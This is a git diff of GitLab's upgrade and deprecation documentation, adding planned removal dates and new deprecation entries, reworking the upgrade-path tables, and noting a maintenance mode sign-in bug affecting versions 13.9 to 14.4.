+### Deprecation of bundler-audit Dependency Scanning tool
+
+As of 14.6 bundler-audit is being deprecated from Dependency Scanning. It will continue to be in our CI/CD template while deprecated. We are removing bundler-audit from Dependency Scanning on May 22, 2022 in 15.0. After this removal Ruby scanning functionality will not be affected as it is still being covered by Gemnasium.
+
+If you have explicitly excluded bundler-audit using DS_EXCLUDED_ANALYZERS you will need to clean up (remove the reference) in 15.0. If you have customized your pipeline's Dependency Scanning configuration, for example to edit the `bundler-audit-dependency_scanning` job, you will want to switch to gemnasium-dependency_scanning before removal in 15.0, to prevent your pipeline from failing. If you have not used the DS_EXCLUDED_ANALYZERS to reference bundler-audit, or customized your template specifically for bundler-audit, you will not need to take action.
+
+Announced: 2021-12-22
+Planned removal: 2022-05-22
### GitLab Serverless
@@ -117,6 +178,7 @@ Announced: 2021-11-22
We decided to remove the GitLab Serverless features as they never really resonated with our users. Besides, given the continuous development of Kubernetes and Knative, our current implementations do not even work with recent versions.
Announced: 2021-09-22
+Planned removal: 2022-05-22
### Known host required for GitLab Runner SSH executor
@@ -125,6 +187,7 @@ In [GitLab 14.3](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/30
In GitLab 15.0 and later, the default value for this configuration option will change from `true` to `false`. This means that strict host key checking will be enforced when using the GitLab Runner SSH executor.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### Legacy database configuration
@@ -135,6 +198,16 @@ supported using a single PostgreSQL adapter, whereas the new format is changing
This deprecation mainly impacts users compiling GitLab from source because Omnibus will handle this configuration automatically.
Announced: 2021-09-22
+Planned removal: 2022-05-22
+
+### Must explicitly assign `AuthenticationType` for `[runners.cache.s3]`
+
+In GitLab 15.0 and later, to access the AWS S3 cache, you must specify the `AuthenticationType` for [`[runners.cache.s3]`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscaches3-section). The `AuthenticationType` must be `IAM` or `credentials`.
+
+Prior to 14.5, if you did not define the `AuthenticationType`, GitLab Runner chose a type for you.
+
+Announced: 2021-11-22
+Planned removal: 2022-05-22
### NFS for Git repository storage deprecated
@@ -149,6 +222,7 @@ Gitaly Cluster offers tremendous benefits for our customers such as:
We encourage customers currently using NFS for Git repositories to plan their migration by reviewing our documentation on [migrating to Gitaly Cluster](https://docs.gitlab.com/ee/administration/gitaly/index.html#migrate-to-gitaly-cluster).
Announced: 2021-06-22
+Planned removal: 2022-05-22
### OmniAuth Kerberos gem
@@ -159,6 +233,7 @@ This gem has not been maintained and has very little usage. We therefore plan to
Note that we are not deprecating the Kerberos SPNEGO integration, only the old password-based Kerberos integration.
Announced: 2021-09-22
+Planned removal: 2022-05-22
### Package pipelines in API payload is paginated
@@ -167,31 +242,48 @@ A request to the API for `/api/v4/projects/:id/packages` returns a paginated res
In milestone 15.0, we will remove the `pipelines` attribute from the API response.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### REST API Runner will not contain `paused`
-Runner REST API will not return `paused` as a status in GitLab 15.0.
+The GitLab Runner REST and GraphQL API endpoints will not return `paused` or `active` as a status in GitLab 15.0.
-Paused runners' status will only relate to runner contact status, such as:
-`online`, `offline`, or `not_connected`. Status `paused` will not appear when the runner is
-not active.
+A runner's status will only relate to runner contact status, such as:
+`online`, `offline`, or `not_connected`. Status `paused` or `active` will no longer appear.
When checking if a runner is `paused`, API users are advised to check the boolean attribute
-`active` to be `false` instead.
+`active` to be `false` instead. When checking if a runner is `active`, check if `active` is `true`.
+
+Announced: 2021-11-22
+Planned removal: 2022-05-22
+
+### Removal of `defaultMergeCommitMessageWithDescription` GraphQL API field
+
+The GraphQL API field `defaultMergeCommitMessageWithDescription` has been deprecated and will be removed in GitLab 15.0. For projects with a commit message template set, it will ignore the template.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### Removal of `promote-db` command from `gitlab-ctl`
In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Geo secondary node to a primary during a failover. This command replaces `gitlab-ctl promote-db` which is used to promote database nodes in multi-node Geo secondary sites. `gitlab-ctl promote-db` will continue to function as-is and be available until GitLab 15.0. We recommend that Geo customers begin testing the new `gitlab-ctl promote` command in their staging environments and incorporating the new command in their failover procedures.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### Removal of `promote-to-primary-node` command from `gitlab-ctl`
In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Geo secondary node to a primary during a failover. This command replaces `gitlab-ctl promote-to-primary-node` which was only usable for single-node Geo sites. `gitlab-ctl promote-to-primary-node` will continue to function as-is and be available until GitLab 15.0. We recommend that Geo customers begin testing the new `gitlab-ctl promote` command in their staging environments and incorporating the new command in their failover procedures.
Announced: 2021-11-22
+Planned removal: 2022-05-22
+
+### Remove `type` and `types` keyword in CI/CD configuration
+
+The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines that use these keywords will stop working, so you must switch to `stage` and `stages`, which have the same behavior.
+
+Announced: 2021-12-22
+Planned removal: 2022-05-22
### Remove the `:dependency_proxy_for_private_groups` feature flag
@@ -200,6 +292,7 @@ We added a feature flag because [GitLab-#11582](https://gitlab.com/gitlab-org/gi
In milestone 15.0, we will remove the feature flag entirely. Moving forward, you must authenticate when using the Dependency Proxy.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### Remove the `pipelines` field from the `version` field
@@ -211,6 +304,7 @@ In GraphQL, there are two `pipelines` fields that you can use in a [`PackageDeta
To mitigate possible performance problems, we will remove the `versions` field's `pipelines` field in milestone 15.0. Although you will no longer be able to get all pipelines for all versions of a package, you can still get the pipelines of a single version through the remaining `pipelines` field for that version.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### Update to the Container Registry group-level API
@@ -219,25 +313,22 @@ In milestone 15.0, support for the `tags` and `tags_count` parameters will be re
The `GET /groups/:id/registry/repositories` endpoint will remain, but won't return any info about tags. To get the info about tags, you can use the existing `GET /registry/repositories/:id` endpoint, which will continue to support the `tags` and `tag_count` options as it does today. The latter must be called once per image repository.
Announced: 2021-11-22
+Planned removal: 2022-05-22
### Value Stream Analytics filtering calculation change
-We are changing how the date filter works in Value Stream Analytics. Instead of filtering by the time that the issue or merge request was created, the date filter will filter by the end event time of the given stage. This will result in completely different figures after this change has rolled out.
+We are changing how the date filter works in Value Stream Analytics. Instead of filtering by the time that the issue or merge request was created, the date filter will filter by the end event time of the given stage. This will result in completely different figures after this change has rolled out.
If you monitor Value Stream Analytics metrics and rely on the date filter, to avoid losing data, you must save the data prior to this change.
Announced: 2021-11-22
+Planned removal: 2022-05-22
-### `AuthenticationType` for `[runners.cache.s3]` must be explicitly assigned
+### apiFuzzingCiConfigurationCreate GraphQL mutation
-In GitLab 15.0 and later, to access the AWS S3 cache, you must specify the `AuthenticationType` for [`[runners.cache.s3]`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscaches3-section). The `AuthenticationType` must be `IAM` or `credentials`.
-
-Prior to 14.5, if you did not define the `AuthenticationType`, GitLab Runner chose a type for you.
+The API Fuzzing configuration snippet is now being generated client-side and does not require an
+API request anymore. We are therefore deprecating the `apiFuzzingCiConfigurationCreate` mutation
+which isn't being used in GitLab anymore.
-Announced: 2021-11-22
-
-### defaultMergeCommitMessageWithDescription GraphQL API field will be removed in GitLab 15.0
-
-The GraphQL API field `defaultMergeCommitMessageWithDescription` has been deprecated and will be removed in GitLab 15.0. For projects with a commit message template set, it will ignore the template.
-
-Announced: 2021-11-22
+Announced: 2021-12-22
+Planned removal: 2022-05-22
diff --git a/doc/update/index.md b/doc/update/index.md
index bb7fdaa93c0..98dfee04a41 100644
--- a/doc/update/index.md
+++ b/doc/update/index.md
@@ -82,17 +82,23 @@ See the guide to [plan your GitLab upgrade](plan_your_upgrade.md).
## Checking for background migrations before upgrading
Certain releases may require different migrations to be
-finished before you update to the newer version. Additionally check
-[batched migrations](#batched-background-migrations) from GitLab 14.0.
+finished before you update to the newer version.
+
+[Batched migrations](#batched-background-migrations) are a migration type available in GitLab 14.0 and later.
+Background migrations and batched migrations not the same, so you should check that both are
+complete before updating.
Decrease the time required to complete these migrations by increasing the number of
[Sidekiq workers](../administration/operations/extra_sidekiq_processes.md)
that can process jobs in the `background_migration` queue.
+### Background migrations
+
**For Omnibus installations:**
```shell
sudo gitlab-rails runner -e production 'puts Gitlab::BackgroundMigration.remaining'
+sudo gitlab-rails runner -e production 'puts Gitlab::BackgroundMigration.pending'
```
**For installations from source:**
@@ -100,6 +106,7 @@ sudo gitlab-rails runner -e production 'puts Gitlab::BackgroundMigration.remaini
```shell
cd /home/git/gitlab
sudo -u git -H bundle exec rails runner -e production 'puts Gitlab::BackgroundMigration.remaining'
+sudo -u git -H bundle exec rails runner -e production 'puts Gitlab::BackgroundMigration.pending'
```
### Batched background migrations
@@ -212,30 +219,9 @@ sudo -u git -H bundle exec rake gitlab:elastic:list_pending_migrations
See [how to retry a halted migration](../integration/elasticsearch.md#retry-a-halted-migration).
-## Upgrade paths
-
-Upgrading across multiple GitLab versions in one go is *only possible by accepting downtime*.
-The following examples assume downtime is acceptable while upgrading.
-If you don't want any downtime, read how to [upgrade with zero downtime](zero_downtime.md).
-
-Find where your version sits in the upgrade path below, and upgrade GitLab
-accordingly, while also consulting the
-[version-specific upgrade instructions](#version-specific-upgrading-instructions):
-
-`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> [`11.11.8`](#1200) -> `12.0.12` -> [`12.1.17`](#1210) -> `12.10.14` -> `13.0.14` -> [`13.1.11`](#1310) -> [`13.8.8`](#1388) -> [`13.12.15`](https://about.gitlab.com/releases/categories/releases/) -> [latest `14.0.Z`](#1400) -> [latest `14.1.Z`](#1410) -> [latest `14.Y.Z`](https://about.gitlab.com/releases/categories/releases/)
-
-The following table, while not exhaustive, shows some examples of the supported
-upgrade paths.
+## Upgrading without downtime
-| Target version | Your version | Supported upgrade path | Note |
-| -------------- | ------------ | ---------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
-| `14.1.6` | `13.9.2` | `13.9.2` -> `13.12.12` -> `14.0.11` -> `14.1.6` | Two intermediate versions are required: `13.12` and `14.0`, then `14.1`. |
-| `13.12.10` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.8.8` -> `13.12.10` | Four intermediate versions are required: `12.10`, `13.0`, `13.1` and `13.8.8`, then `13.12.10`. |
-| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.2.10` | Six intermediate versions are required: `11.11`, `12.0`, `12.1`, `12.10`, `13.0` and `13.1`, then `13.2.10`. |
-| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: `11.11`, `12.0` and `12.1`, then `12.10.14`. |
-| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5`. |
-| `12.2.5` | `9.2.6` | `9.2.6` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.2.5` | Five intermediate versions are required: `9.5`, `10.8`, `11.11`, `12.0`, `12.1`, then `12.2.5`. |
-| `11.3.4` | `8.13.4` | `8.13.4` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.3.4` | `8.17.7` is the last version in version 8, `9.5.10` is the last version in version 9, `10.8.7` is the last version in version 10. |
+Read how to [upgrade without downtime](zero_downtime.md).
## Upgrading to a new major version
@@ -247,8 +233,9 @@ cannot guarantee that upgrading between major versions is seamless.
It is required to follow the following upgrade steps to ensure a successful *major* version upgrade:
1. Upgrade to the latest minor version of the preceding major version.
-1. Upgrade to the first minor version (`X.0.Z`) of the target major version.
-1. Proceed with upgrading to a newer release.
+1. Upgrade to the next major version (`X.0.Z`).
+1. Upgrade to its first minor version (`X.1.Z`).
+1. Proceed with upgrading to a newer releases of that major version.
Identify a [supported upgrade path](#upgrade-paths).
@@ -264,11 +251,34 @@ before proceeding with the major version upgrade.
If your GitLab instance has any runners associated with it, it is very
important to upgrade GitLab Runner to match the GitLab minor version that was
-upgraded to. This is to ensure [compatibility with GitLab versions](https://docs.gitlab.com/runner/#compatibility-with-gitlab-versions).
+upgraded to. This is to ensure [compatibility with GitLab versions](https://docs.gitlab.com/runner/#gitlab-runner-versions).
-## Upgrading without downtime
+## Upgrade paths
-Read how to [upgrade without downtime](zero_downtime.md).
+Upgrading across multiple GitLab versions in one go is *only possible by accepting downtime*.
+The following examples assume downtime is acceptable while upgrading.
+If you don't want any downtime, read how to [upgrade with zero downtime](zero_downtime.md).
+
+Find where your version sits in the upgrade path below, and upgrade GitLab
+accordingly, while also consulting the
+[version-specific upgrade instructions](#version-specific-upgrading-instructions):
+
+`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> [`11.11.8`](#1200) -> `12.0.12` -> [`12.1.17`](#1210) -> `12.10.14` -> `13.0.14` -> [`13.1.11`](#1310) -> [`13.8.8`](#1388) -> [latest `13.12.Z`](https://about.gitlab.com/releases/categories/releases/) -> [latest `14.0.Z`](#1400) -> [latest `14.1.Z`](#1410) -> [latest `14.Y.Z`](https://about.gitlab.com/releases/categories/releases/)
+
+The following table, while not exhaustive, shows some examples of the supported
+upgrade paths.
+Additional steps between the mentioned versions are possible. We list the minimally necessary steps only.
+
+| Target version | Your version | Supported upgrade path | Note |
+| -------------- | ------------ | ---------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
+| `14.2.6` | `13.10.2` | `13.10.2` -> `13.12.12` -> `14.0.11` -> `14.1.8` -> `14.2.6` | Three intermediate versions are required: `13.12`, `14.0`, and `14.1`, then `14.2.6`. |
+| `14.1.8` | `13.9.2` | `13.9.2` -> `13.12.12` -> `14.0.11` -> `14.1.8` | Two intermediate versions are required: `13.12` and `14.0`, then `14.1.8`. |
+| `13.12.10` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.8.8` -> `13.12.10` | Four intermediate versions are required: `12.10`, `13.0`, `13.1` and `13.8.8`, then `13.12.10`. |
+| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.2.10` | Six intermediate versions are required: `11.11`, `12.0`, `12.1`, `12.10`, `13.0` and `13.1`, then `13.2.10`. |
+| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: `11.11`, `12.0` and `12.1`, then `12.10.14`. |
+| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5`. |
+| `12.2.5` | `9.2.6` | `9.2.6` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.2.5` | Five intermediate versions are required: `9.5`, `10.8`, `11.11`, `12.0`, and `12.1`, then `12.2.5`. |
+| `11.3.4` | `8.13.4` | `8.13.4` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.3.4` | `8.17.7` is the last version in version 8, `9.5.10` is the last version in version 9, `10.8.7` is the last version in version 10. |
## Upgrading between editions
@@ -357,8 +367,14 @@ or [init scripts](upgrading_from_source.md#configure-sysv-init-script) by [follo
### 14.4.0
-Git 2.33.x and later is required. We recommend you use the
-[Git version provided by Gitaly](../install/installation.md#git).
+- Git 2.33.x and later is required. We recommend you use the
+ [Git version provided by Gitaly](../install/installation.md#git).
+- See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
+- After enabling database load balancing by default in 14.4.0, we found an issue where
+ [cron jobs would not work if the connection to PostgreSQL was severed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73716),
+ as Sidekiq would continue using a bad connection. Geo and other features that rely on
+ cron jobs running regularly do not work until Sidekiq is restarted. We recommend
+ upgrading to GitLab 14.4.3 and later if this issue affects you.
### 14.3.0
@@ -385,6 +401,8 @@ for how to proceed.
sudo -u git -H bundle exec rake db:migrate RAILS_ENV=production
```
+- See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
+
### 14.2.0
- [Instances running 14.0.0 - 14.0.4 should not upgrade directly to GitLab 14.2 or later](#upgrading-to-later-14y-releases).
@@ -411,15 +429,20 @@ for how to proceed.
sudo -u git -H bundle exec rake db:migrate RAILS_ENV=production
```
+- See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
+
### 14.1.0
- [Instances running 14.0.0 - 14.0.4 should not upgrade directly to GitLab 14.2 or later](#upgrading-to-later-14y-releases)
but can upgrade to 14.1.Z.
-- It is not required for instances already running 14.0.5 (or higher) to stop at 14.1.Z.
+
+ It is not required for instances already running 14.0.5 (or higher) to stop at 14.1.Z.
14.1 is included on the upgrade path for the broadest compatibility
with self-managed installations, and ensure 14.0.0-14.0.4 installations do not
encounter issues with [batched background migrations](#batched-background-migrations).
+- See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
+
### 14.0.0
- Database changes made by the upgrade to GitLab 14.0 can take hours or days to complete on larger GitLab instances.
@@ -449,6 +472,8 @@ for how to proceed.
You should instead follow a [supported upgrade path](#upgrade-paths).
- The support of PostgreSQL 11 [has been dropped](../install/requirements.md#database). Make sure to [update your database](https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server) to version 12 before updating to GitLab 14.0.
+- See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
+
#### Upgrading to later 14.Y releases
- Instances running 14.0.0 - 14.0.4 should not upgrade directly to GitLab 14.2 or later,
@@ -459,48 +484,60 @@ for how to proceed.
1. [Batched background migrations need to finish](#batched-background-migrations)
before you update to a later version [and may take longer than usual](#1400).
+### 13.12.0
+
+See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
+
### 13.11.0
-Git 2.31.x and later is required. We recommend you use the
-[Git version provided by Gitaly](../install/installation.md#git).
+- Git 2.31.x and later is required. We recommend you use the
+ [Git version provided by Gitaly](../install/installation.md#git).
+
+- See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
+
+### 13.10.0
+
+See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
### 13.9.0
-We've detected an issue [with a column rename](https://gitlab.com/gitlab-org/gitlab/-/issues/324160)
-that prevents upgrades to GitLab 13.9.0, 13.9.1, 13.9.2, and 13.9.3 when following the zero-downtime steps. It is necessary
-to perform the following additional steps for the zero-downtime upgrade:
+- We've detected an issue [with a column rename](https://gitlab.com/gitlab-org/gitlab/-/issues/324160)
+ that prevents upgrades to GitLab 13.9.0, 13.9.1, 13.9.2, and 13.9.3 when following the zero-downtime steps. It is necessary
+ to perform the following additional steps for the zero-downtime upgrade:
-1. Before running the final `sudo gitlab-rake db:migrate` command on the deploy node,
- execute the following queries using the PostgreSQL console (or `sudo gitlab-psql`)
- to drop the problematic triggers:
+ 1. Before running the final `sudo gitlab-rake db:migrate` command on the deploy node,
+ execute the following queries using the PostgreSQL console (or `sudo gitlab-psql`)
+ to drop the problematic triggers:
- ```sql
- drop trigger trigger_e40a6f1858e6 on application_settings;
- drop trigger trigger_0d588df444c8 on application_settings;
- drop trigger trigger_1572cbc9a15f on application_settings;
- drop trigger trigger_22a39c5c25f3 on application_settings;
- ```
+ ```sql
+ drop trigger trigger_e40a6f1858e6 on application_settings;
+ drop trigger trigger_0d588df444c8 on application_settings;
+ drop trigger trigger_1572cbc9a15f on application_settings;
+ drop trigger trigger_22a39c5c25f3 on application_settings;
+ ```
-1. Run the final migrations:
+ 1. Run the final migrations:
- ```shell
- sudo gitlab-rake db:migrate
- ```
+ ```shell
+ sudo gitlab-rake db:migrate
+ ```
-If you have already run the final `sudo gitlab-rake db:migrate` command on the deploy node and have
-encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you
-see the following error:
+ If you have already run the final `sudo gitlab-rake db:migrate` command on the deploy node and have
+ encountered the [column rename issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160), you
+ see the following error:
-```shell
--- remove_column(:application_settings, :asset_proxy_whitelist)
-rake aborted!
-StandardError: An error has occurred, all later migrations canceled:
-PG::DependentObjectsStillExist: ERROR: cannot drop column asset_proxy_whitelist of table application_settings because other objects depend on it
-DETAIL: trigger trigger_0d588df444c8 on table application_settings depends on column asset_proxy_whitelist of table application_settings
-```
+ ```shell
+ -- remove_column(:application_settings, :asset_proxy_whitelist)
+ rake aborted!
+ StandardError: An error has occurred, all later migrations canceled:
+ PG::DependentObjectsStillExist: ERROR: cannot drop column asset_proxy_whitelist of table application_settings because other objects depend on it
+ DETAIL: trigger trigger_0d588df444c8 on table application_settings depends on column asset_proxy_whitelist of table application_settings
+ ```
+
+ To work around this bug, follow the previous steps to complete the update.
+ More details are available [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160).
-To work around this bug, follow the previous steps to complete the update.
-More details are available [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/324160).
+- See [Maintenance mode issue in GitLab 13.9 to 14.4](#maintenance-mode-issue-in-gitlab-139-to-144).
### 13.8.8
@@ -610,6 +647,14 @@ After upgraded to 11.11.8 you can safely upgrade to 12.0.Z.
See our [documentation on upgrade paths](../policy/maintenance.md#upgrade-recommendations)
for more information.
+### Maintenance mode issue in GitLab 13.9 to 14.4
+
+When [Maintenance mode](../administration/maintenance_mode/index.md) is enabled, users cannot sign in with SSO, SAML, or LDAP.
+
+Users who were signed in before Maintenance mode was enabled will continue to be signed in. If the admin who enabled Maintenance mode loses their session, then they will not be able to disable Maintenance mode via the UI. In that case, you can [disable Maintenance mode via the API or Rails console](../administration/maintenance_mode/#disable-maintenance-mode).
+
+[This bug](https://gitlab.com/gitlab-org/gitlab/-/issues/329261) was fixed in GitLab 14.5.0, and is expected to be backported to GitLab 14.3 and 14.4.
+
## Miscellaneous
- [MySQL to PostgreSQL](mysql_to_postgresql.md) guides you through migrating
diff --git a/doc/update/package/index.md b/doc/update/package/index.md
index 27845caed76..d7c18f15e44 100644
--- a/doc/update/package/index.md
+++ b/doc/update/package/index.md
@@ -159,7 +159,7 @@ install GitLab for the first time or update it.
To download and install GitLab:
1. Visit the [official repository](#upgrade-using-the-official-repositories) of your package.
-1. Filter the list by searching for the version you want to install (for example 14.1.6).
+1. Filter the list by searching for the version you want to install (for example 14.1.8).
Multiple packages may exist for a single version, one for each supported distribution
and architecture. Next to the filename is a label indicating the distribution,
as the filenames may be the same.
@@ -188,7 +188,7 @@ For the GitLab Community Edition, replace `gitlab-ee` with
### GitLab 13.7 and later unavailable on Amazon Linux 2
-Amazon Linux 2 is not an [officially supported operating system](../../administration/package_information/deprecated_os.md#supported-operating-systems).
+Amazon Linux 2 is not an [officially supported operating system](../../administration/package_information/supported_os.md).
However, in past the [official package installation script](https://packages.gitlab.com/gitlab/gitlab-ee/install)
installed the `el/6` package repository if run on Amazon Linux. From GitLab 13.7, we no longer
provide `el/6` packages so administrators must run the [installation script](https://packages.gitlab.com/gitlab/gitlab-ee/install)
diff --git a/doc/update/plan_your_upgrade.md b/doc/update/plan_your_upgrade.md
index 320f900dd21..98549cc136a 100644
--- a/doc/update/plan_your_upgrade.md
+++ b/doc/update/plan_your_upgrade.md
@@ -18,7 +18,7 @@ General notes:
to create your plan, share details of your architecture, including:
- How is GitLab installed?
- What is the operating system of the node?
- (check [OS versions that are no longer supported](../administration/package_information/deprecated_os.md) to confirm that later updates are available).
+ (check [OS versions that are no longer supported](../administration/package_information/supported_os.md#os-versions-that-are-no-longer-supported) to confirm that later updates are available).
- Is it a single-node or a multi-node setup? If multi-node, share any architectural details about each node with us.
- Are you using [GitLab Geo](../administration/geo/index.md)? If so, share any architectural details about each secondary node.
- What else might be unique or interesting in your setup that might be important for us to understand?
@@ -71,7 +71,7 @@ comprised of a way to back up the instance and a way to restore it.
### Back up GitLab
-Create a backup of GitLab and all its data (database, repos, uploads, builds,
+Create a backup of GitLab and all its data (database, repositories, uploads, builds,
artifacts, LFS objects, registry, pages). This is vital for making it possible
to roll back GitLab to a working state if there's a problem with the upgrade:
@@ -112,7 +112,7 @@ to your instance and then upgrade it for any relevant features you're using.
- [Determine what upgrade path](index.md#upgrade-paths) to follow.
- Account for any [version-specific update instructions](index.md#version-specific-upgrading-instructions).
- Account for any [version-specific changes](package/index.md#version-specific-changes).
- - Check the [OS compatibility with the target GitLab version](../administration/package_information/deprecated_os.md).
+ - Check the [OS compatibility with the target GitLab version](../administration/package_information/supported_os.md).
- Due to background migrations, plan to pause any further upgrades after upgrading
to a new major version.
[All migrations must finish running](index.md#checking-for-background-migrations-before-upgrading)
@@ -145,7 +145,7 @@ version prior to upgrading the application server.
If you're using Geo:
-- Review [Geo upgrade documentation](../administration/geo/replication/updating_the_geo_nodes.md).
+- Review [Geo upgrade documentation](../administration/geo/replication/updating_the_geo_sites.md).
- Read about the [Geo version-specific update instructions](../administration/geo/replication/version_specific_updates.md).
- Review Geo-specific steps when [updating the database](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance).
- Create an upgrade and rollback plan for _each_ Geo node (primary and each secondary).
diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md
index 4343b464ba6..22ffcda9138 100644
--- a/doc/update/upgrading_from_source.md
+++ b/doc/update/upgrading_from_source.md
@@ -111,7 +111,7 @@ Download and install Go (for Linux, 64-bit):
# Remove former Go installation folder
sudo rm -rf /usr/local/go
-curl --remote-name --progress-bar "https://golang.org/dl/go1.16.10.linux-amd64.tar.gz"
+curl --remote-name --progress-bar "https://go.dev/dl/go1.16.10.linux-amd64.tar.gz"
echo '414cd18ce1d193769b9e97d2401ad718755ab47816e13b2a1cde203d263b55cf go1.16.10.linux-amd64.tar.gz' | shasum -a256 -c - && \
sudo tar -C /usr/local -xzf go1.16.10.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/{go,gofmt} /usr/local/bin/
diff --git a/doc/update/upgrading_postgresql_using_slony.md b/doc/update/upgrading_postgresql_using_slony.md
index 8ccdf8d0077..f2bbc8d7558 100644
--- a/doc/update/upgrading_postgresql_using_slony.md
+++ b/doc/update/upgrading_postgresql_using_slony.md
@@ -113,7 +113,7 @@ CREATE ROLE slony WITH SUPERUSER LOGIN REPLICATION ENCRYPTED PASSWORD 'password
ALTER ROLE slony SET statement_timeout TO 0;
```
-Make sure you replace "password string here" with the actual password for the
+Make sure you replace "password string here" with an actual password for the
user. A password is required. This user must be created on both the old and
new database server using the same password.
@@ -230,7 +230,7 @@ Now run the following commands:
\i /tmp/migrations.sql
```
-To verify if the structure is in place close the session, start it again, then
+To verify if the structure is in place close the session (`\q`), start it again, then
run `\d`. If all went well you should see output along the lines of the
following:
@@ -459,7 +459,7 @@ main
Upload this script to the _target_ server and execute it as follows:
```shell
-bash path/to/the/script/above.sh
+sudo bash path/to/the/script/above.sh
```
This corrects the ownership of sequences and reset the next value for the
diff --git a/doc/update/zero_downtime.md b/doc/update/zero_downtime.md
index a311731cadd..13658e6071b 100644
--- a/doc/update/zero_downtime.md
+++ b/doc/update/zero_downtime.md
@@ -29,9 +29,9 @@ If you meet all the requirements above, follow these instructions in order. Ther
| [Geo](#geo-deployment) | GitLab EE with Geo enabled |
| [Multi-node / HA with Geo](#multi-node--ha-deployment-with-geo) | GitLab CE/EE on multiple nodes |
-Each type of deployment will require that you hot reload the `puma` and `sidekiq` processes on all nodes running these
+Each type of deployment requires that you hot reload the `puma` and `sidekiq` processes on all nodes running these
services after you've upgraded. The reason for this is that those processes each load the GitLab Rails application which reads and loads
-the database schema into memory when starting up. Each of these processes will need to be reloaded (or restarted in the case of `sidekiq`)
+the database schema into memory when starting up. Each of these processes needs to be reloaded (or restarted in the case of `sidekiq`)
to re-read any database changes that have been made by post-deployment migrations.
Most of the time you can safely upgrade from a patch release to the next minor
@@ -56,7 +56,7 @@ increasing the number of Sidekiq workers that can process jobs in the
`background_migration` queue. To see the size of this queue,
[Check for background migrations before upgrading](index.md#checking-for-background-migrations-before-upgrading).
-As a rule of thumb, any database smaller than 10 GB doesn't take too much time to
+As a guideline, any database smaller than 10 GB doesn't take too much time to
upgrade; perhaps an hour at most per minor release. Larger databases however may
require more time, but this is highly dependent on the size of the database and
the migrations that are being performed.
@@ -111,26 +111,26 @@ Before following these instructions, note the following **important** informatio
1. Update the GitLab package:
- - For GitLab Community Edition:
+ - For GitLab [Enterprise Edition](https://about.gitlab.com/pricing/):
```shell
# Debian/Ubuntu
sudo apt-get update
- sudo apt-get install gitlab-ce
+ sudo apt-get install gitlab-ee
# Centos/RHEL
- sudo yum install gitlab-ce
+ sudo yum install gitlab-ee
```
- - For GitLab [Enterprise Edition](https://about.gitlab.com/pricing/):
+ - For GitLab Community Edition:
```shell
# Debian/Ubuntu
sudo apt-get update
- sudo apt-get install gitlab-ee
+ sudo apt-get install gitlab-ce
# Centos/RHEL
- sudo yum install gitlab-ee
+ sudo yum install gitlab-ce
```
1. To get the regular migrations and latest code in place, run
@@ -176,14 +176,14 @@ Upgrades on web (Puma) nodes must be done in a rolling manner, one after
